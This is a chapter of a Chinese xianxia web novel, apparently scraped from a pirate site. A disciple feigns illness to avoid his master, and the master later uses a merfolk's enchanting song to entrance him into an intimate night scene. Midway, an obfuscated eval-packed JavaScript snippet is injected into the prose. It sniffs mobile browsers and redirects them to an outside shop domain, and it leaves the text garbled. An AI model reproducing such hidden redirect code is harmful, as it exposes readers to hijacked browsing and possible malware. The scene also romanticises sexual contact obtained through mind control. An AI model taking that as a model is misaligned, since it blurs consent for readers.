晋江文学城正版阅读
11.
仲夏。
剑云峰四季如春,院子的流苏树雪白一片,花开得依旧茂盛。秦渡带着最新研制的猫饭前来串门时,晏钦正半死不活地瘫倒在躺椅上。
几层毛毯把他裹成了一只毛茸茸的粽子,三花抓着毯子爬进他怀里乱叫。昔日猫崽脱胎换骨,压在晏钦胸前壮得像一座小山。
“小师弟,你还好吗,吃过药了吗?”秦渡很担忧,“怎么又病了?”
晏钦扯了扯嘴角,咳得撕心裂肺:“咳……大概是在淞崖峰待久了,是我自己不当心。”
他低下头,掩去眼中暗芒。
当然是假的。
避嫌计划大失败,他上一回险些被撩起反应,只能落荒而逃,直到现在……他还是无法面对微生淮。
看着他病殃殃的样子,秦渡无奈地将三花抱了下来:“小师弟,你该好好修炼了。”
“修炼?”晏钦往毯子里缩了缩,“十师兄怎么忽然说这个?我前日才学完一册心法呀。”
“因为他看不下去了呗,你明年及冠,便能参加宗门大比了,若是连内门心法都未修完,届时如何上场?”
晏钦循声抬头,流苏树上白花如雪,墨绿色披帛像蝴蝶垂落在他眼前。
一身黑衣的盛风絮靠在树上,绿眸含笑,容盛似妖,“小钦,你这可不只是体弱了,哪有炼气期修士像你这样隔三差五便生病的。”
晏钦缩在毯子里安详闭眼:“七师兄,内门心法总共九十九册。”
盛风絮:“一个月也学完了吧?”
晏钦:“……”
和你们这些卷王说不明白!
盛风絮追着他补刀:“师弟啊,你真要抓紧啦,不信问问你十师兄,当年及冠时是什么修为?”
他话只说了一半,晏钦又看向秦渡。
秦渡抱着猫:“元婴初期。”
盛风絮:“剑云峰最差记录是八十九师弟,只有金丹初期。”
晏钦想了想:“替我恭喜这位素未谋面的八十九师兄。”
盛风絮挑眉:“怎么?”
晏钦:“马上这项记录就要被刷新了。”
没记错的话,这具身体才炼气后期,还是在和便宜师尊彻夜修习两回、修为硬生生拔高一大截的情况下,才勉强达到的后期。
这确实不是体弱的问题。
是纯菜。
晏钦垂着头,掩盖了脸上的心虚:“咳咳,我自然是比不上师兄们的。”
见青年如此失落,秦渡不由皱起眉:“没事,师兄们在。”
晏钦既入了剑云峰,他们自然会好好培养。
他此前只是学了些外门基本功法,勉强算是入了道,还需修完内门心法,之后才能正式择道,每一步都急不得。
盛风絮笑得和善:“师兄们都会好好教你的。说到这个,小钦你想好要学什么了吗?”
晏钦慢慢抬起头,目光迟疑:“我……”
盛风絮:“小钦想问什么?”
“果然瞒不过师兄。”晏钦真诚地看着他,“七师兄,哪一种最简单?”
盛风絮眯了眯眼:“有人精于剑术,有人擅长炼器,这个要看资质,因人而异。”
晏钦又问:“哪修什么最长寿?”
盛风絮笑了笑:“这个便要论血脉了,人修最长不过千年,可于妖修而言,五百岁仍算年幼。”
“那有没有既能延年益寿、修炼起来又不累人的道?”晏钦认真道,“最好是能保命的那种,强不强无所谓,活得久就行。”
盛风絮笑得更欢了:“小钦你这愿望也太别致了,仔细别被你大师兄听到,不然他定要唠叨你。”
一旁的秦渡没有笑,反而眉心紧皱:“凡者命若蝼蚁,行至顶端才能活得长久。小师弟,这并不是一件好事。”
晏钦吸了吸鼻子:“可终日修习,一味地向前,不也一样会死吗?”
重开一回,他晕头转向地来到了新的世界,已经完全没有当初那种卷到上岸的激情,只想安稳度日,多多休息一会儿。
秦渡沉着脸:“那你的志向与道义呢?”
青年的回应是低下头装死。
盛风絮推了秦渡一把,慢悠悠地打起了圆场:“和你们这些死刀修真没话说!没事,不着急,小钦可以好好想想,改日师兄带你去我的地盘上玩玩。”
晏钦的声音从毯子里传来,有点模糊:“麻烦师兄了。”
盛风絮:“小事一桩。”
秦渡又恢复了惜字如金的状态:“多多休息。”
“不行,我待会儿还要去淞崖峰浇花……”
盛风絮轻哂:“那花缺点水死不了。”
晏钦犹豫:“但是我答应了师伯要去照看。”
盛风絮轻挑眉,不语。
殿前的趋风草生于荒沙之泽,耐旱耐寒,根本无需照看,其他灵草也都有守护法阵自动看护,哪里需要他一个什么都不懂的小弟子去照料灵草?
谢长恒就是随便编了个理由骗他上山而已。从头到尾,他都只是想让这对半路出家的师徒多些相处的机会罢了。
他们这些局外人都看得清楚,师叔本人意外地默许了,也就晏钦这个实心眼的小孩信了,巴巴地赶去浇花。
盛风絮盯了晏钦一阵子,忽然抬手隔着毛毯揉了揉晏钦的头。
秦渡起身:“有人去,你歇着。”
“那好吧。”
青年的声音透过毛毯冒出来,无端多了几分幽怨犹豫,可晏钦的嘴角已经压不住了。
晏钦悄悄松了口气,他是真的不知道该如何和清醒的师尊相处。
白月光师尊好心给他擦脸,他却……却浮想联翩,实在是太亵渎师尊了。
晏钦甩了甩脑袋,试图将源源不断冒出来的旖旎画面丢出去,但最后以失败告终。
他现在对自己的本质非常迷茫。
之前只是在梦里偷偷回味,如今他已经选择了避嫌,却还是在正主面前想起那些事,实在不妥。
他这么坏,真的有点对不起师尊。
那些不能直视的画面浮在眼前阴魂不散,晏钦抬手拍了拍自己脸颊,试图唤醒神智——好日子过够了,怎么真的开始肖想师尊了?
他叹了口气,最后将这个意外按在了天道头上。
几日前,装死已久的天道久违地出现,只留给他一句话:【三日后秋水灵毒复发,小友保重。】
肯定是这样的。晏钦暗暗点头,他会胡思乱想,必然不是因为被情//谷/欠所诱,肯定是因为解毒的日子快到了,肯定是因为这个突然冒出来的天道。
都怪死天道。
痛定思痛,晏钦再次下定决心,这一回解完毒,他一定好好完善一下避嫌计划,争取不再撞见师尊。
更不能再亵渎师尊。
-
“又病了?”
谢长恒皱眉,在棋盘上落下一子:“看过医修没有?让他别担心,病养好了也不迟。”
微生淮看了眼谢长恒,淡淡道:“多此一举。”
秦渡低着头:“师叔息怒。师弟才是筑基修为,无法用灵力护体,的确是病了。”
微生淮默不作声地下了一枚黑子。
谢长恒阴阳怪气地哼了一声:“小十你去忙吧,莫要冤枉你师叔了,他哪里舍得说你小师弟,他这是数落我呢!”
秦渡应声,行礼告退。
又下了半局棋,微生淮才开口:“你不该让他上山。”
炼器再次失败的消息已被完全封锁,在这个节骨眼上,知情者越少越好。晏钦虽然没有威胁,但到底还是个孩子,不该牵扯其中。
谢长恒老神在在:“仙尊好不容易对谁感兴趣,怎么还口是心非呢?小钦可念着你呢,见不到你的时候一天到晚发呆,我作为好师伯好师兄,当然要成全你们的师徒情谊咯。”
“……”
微生淮温和一笑,随手落子,试图将白子杀得片甲不留,“师兄,下棋还是不要胡思乱想的好。”
“哼,我让你一只手你也下不过我!”谢长恒噼里啪啦地把手里的棋子丢回盒中,“我那句话说错了?”
微生淮平静道:“这对他并无益处。”
晏钦还小,看不透情爱,这很正常。只是最近……他们相处太过频繁,晏钦若因此生出幻想,也不是没有可能。
是他之错。
银发仙尊淡淡垂眼,那一日……实在冲动。
分明已决意疏远晏钦,可不过冷了他十九日,那孩子便日日忧愁。微生淮看着他形单影只,在殿前堆了雪人又推翻,早已冷寂的心绪有瞬间的一颤。
他不该出现,不该靠近,不该与他交谈。
可那一日……他神使鬼差地伸出手,竟生出亲自替他擦去脸上水痕的心思。
这不应该。
他不该如此。
即使他克制地收回手,只用灵力代替,没有再向前一步,可他依旧不该如此。
晏钦当时是什么神情呢?
眸含秋水,两颊绯红,仰着头望向他的目光灼灼如星,单纯又炽热。他似是也知道自己的失态,忍不住低下头,露出泛粉的耳垂。
那样的动情,是因为他吗?
或许吧。
是他又一次越界,给了那孩子错觉。
外面多少双眼睛都盯着淞崖峰,晏钦若因此被拖下水,往后的日子也不会太好过。
谢长恒耸了耸肩:“师承镜尘仙尊,无论他以后当不当器修都低调不起来,不如早做打算。眼下不少人都知晓他搬入了剑云峰,我倒觉得这是个不错的契机。”
微生淮沉吟:“你觉得,晏钦是个怎么样的人?”
谢长恒散漫地笑着,目光悠悠落在连廊边的雪人身上:“长得好人聪明,看得开,感情上白纸一张,只是个单纯小孩,就是爱偷懒。”
微生淮道:“太心软。”
太心软的人,不适合修道登仙。
“小钦性子温和,待人接物很是耐心,不如送他去荀长老那儿入医道?”谢长恒笑着揶揄他,“欸,这冰疙瘩好丑,你捏的?”
微生淮扬了扬眉,屈尊降贵地瞥了一眼。被灵力保护在原地的雪人长得很潦草,可某人当时玩得不亦乐乎。
谢长恒:“宗主大人有何高见?”
微生淮看着面前的残棋:“既然病了,便不用再来淞崖了。让
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17057596|194896||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
流川他们几个带他出去多逛逛吧,其他的不急。”
见过天地山川之辽阔,知晓宗外仙城之繁华,晏钦便不会再将目光限在淞崖这一片雪上,自然不会为他伤怀。
谢长恒不知他所忧,只是调侃道:“既然知道这极寒灵气伤人,那你怎么不收了这神通?”
微生淮目光微动:“不可懈怠。”
铸造神兵的条件极为苛刻,全程必须在极寒灵气中完成。为此,千机宗祖师特意造就了一座常年覆雪的淞崖峰,山体内部有重重机关,峰主可自由控制灵气,便于炼器。
可没人像微生淮这样,将自己时时刻刻扔在极寒灵气中,不像是为了炼器,反而更像是折磨自身。
“苦修又不是给自己找罪受。”
谢长恒白他一眼,丢下最后一步棋,不出意外,还是他赢了,“我的宗主大人,你早就出关了!”
微生淮笑道:“习惯使然。”
无雪殿外又有风起,千机宗宗主尚未出关。
-
入夜,淞崖峰全面戒严。
晏钦被天道丢到了一片雪里。
他起身,拍拍衣摆沾上的雪粒,发现自己刚好掉在无雪殿前。
顺着连廊走了两步,晏钦没有急着进去。夜里风雪依旧,宝石雪人伫立在原位上,和刚做好时一模一样。
青年蹲在雪人面前,鬼使神差地伸出手,不出意外,雪人上也罩着一层保护法阵。
阴魂不散的天道忽然开口:【小友,事不宜迟。】
得,又要上工了。
晏钦叹了口气,碰了碰雪人的玻璃眼珠,那层浅蓝在夜色里格外浓郁。
他不着边界地想,很像微生淮的眼睛。
无雪殿的匾额被白雪覆盖,青年沉默地推门,殿门纹丝不动。面前亮起青绿色幽光,一道复杂的鬼火纹闪过,呼啸的寒风骤然变了调,像是唤醒了沉寂的凶兽。
不一会儿,鬼火无声隐去。吱呀一声轻响,晏钦镇定地再次推开门,毫不犹豫地走了进去。
微生淮留在他身上的灵力能让他悄然无声地穿过淞崖峰上所有的防护法阵。
轻车熟路地绕过外殿,晏钦在内室南侧的偏僻一角停下。镜尘仙尊的同源灵力无声牵引着他,诱他再一次踏足这处禁地。
穿过只有一盏狭隘月光的门,水晶垂帘掀起突兀的轻响,砸碎了如墓地般死寂的黑暗。
惨白的月光落入罅隙,照亮床前那面巨大的水晶鎏银镜。银发仙尊端坐在镜前,面容安详。若不是衣摆下银鳞闪烁,鱼尾舒展占据了大半张榻,很难看出他早已失控。
晏钦停步,心中忽然生出几分忐忑。
不料变故忽生,那镜中人倏地睁眼,像背上长了眼睛,那道凌冽目光直直锁定在他身上。隔着水晶鎏银镜,晏钦冷不丁对上了那双湛蓝眼眸。
镜中人轻勾唇:“阿钦?”
之前的游刃有余在一瞬间僵作了死寂中猛然沸腾的血。自远处飘来的失真潮声和扭曲的歌声源源不断地灌入耳中。
意识变得模糊,将振聋发聩的心跳隔绝在外,晏钦愣愣盯着微生淮手上的月牙,昏暗的光晕成一片斑驳,像摄人心魄的深潭。
眼神中的亮光逐渐散去,清明被眩晕蚕食。不多时,青年已然放下了戒备。
银发仙尊转过头来,目光微凉。鲛人擅歌,亦擅夺人心智,令其沉眠梦中。
他似笑非笑:“到……师尊这里来。”
鲛人擅歌,其声蛊惑人心。
如呓语,如指令。
青年一脸懵懂,毫不犹豫地向他靠近。月光被阻拦在外,迷路的小鸟在梦中折翼,茫然天真地自投罗网,完全没有察觉那即将到来的险境。
他跌进了一个冰凉柔软的怀抱。
偌大的银镜上倒映着交叠的影子,无声记录着今夜的荒唐梦境。
怀中人在朦胧的痛意潮浪中仰头,脆弱的后颈一览无余。微生淮埋首在青年肩上,在淡淡的香气中收紧了这个拥抱。
他环住那只温顺的白鸟,贴着白皙温热的羽毛,随着颈间搏动的慢调重重地吐息,安静又亲密。
青年已被拖入了汹涌的水中,一只手被禁锢在怀中,另一只手紧紧攥着帐前垂落的帷幔,关节泛起青白,扯得头顶那座碧纱帐也剧烈地颤起来。
“不……”
话语支离破碎,月光泻作不成曲的单音,溅入柔缎被,揉开一片褶皱的光晕。贴上白鸟柔软的背羽,微生淮将晏钦拢在怀中,捏起他的下巴,就着那个微凉的怀抱贴近。
近在咫尺时,微生淮听见晏钦翻来覆去地念着几个词,哭腔压抑,如失去安全感的雏鸟。
最多的,是师尊二字。
唇/齿间的热意消融飘落的雪,化成一汪倒映月牙的水,小鸟的尾羽湿哒哒地粘连着鲛尾,时隔多月又一次纠缠得不分彼此。
晏钦的后颈被人轻轻衔住,不轻不重地碾出一片红。强撑到最后一刻,潮水溺过双眼,那双手自帷幔上慢慢滑落,指尖薄嫩,在月下比琉璃还要透明易碎,似乎轻轻一捏便能融作晶莹的水。
帷幔皱如海潮迭起,似昼夜不息的烛火。折翼白鸟坠入无边深海,在水波荡漾的镜前留下一片斑驳的影。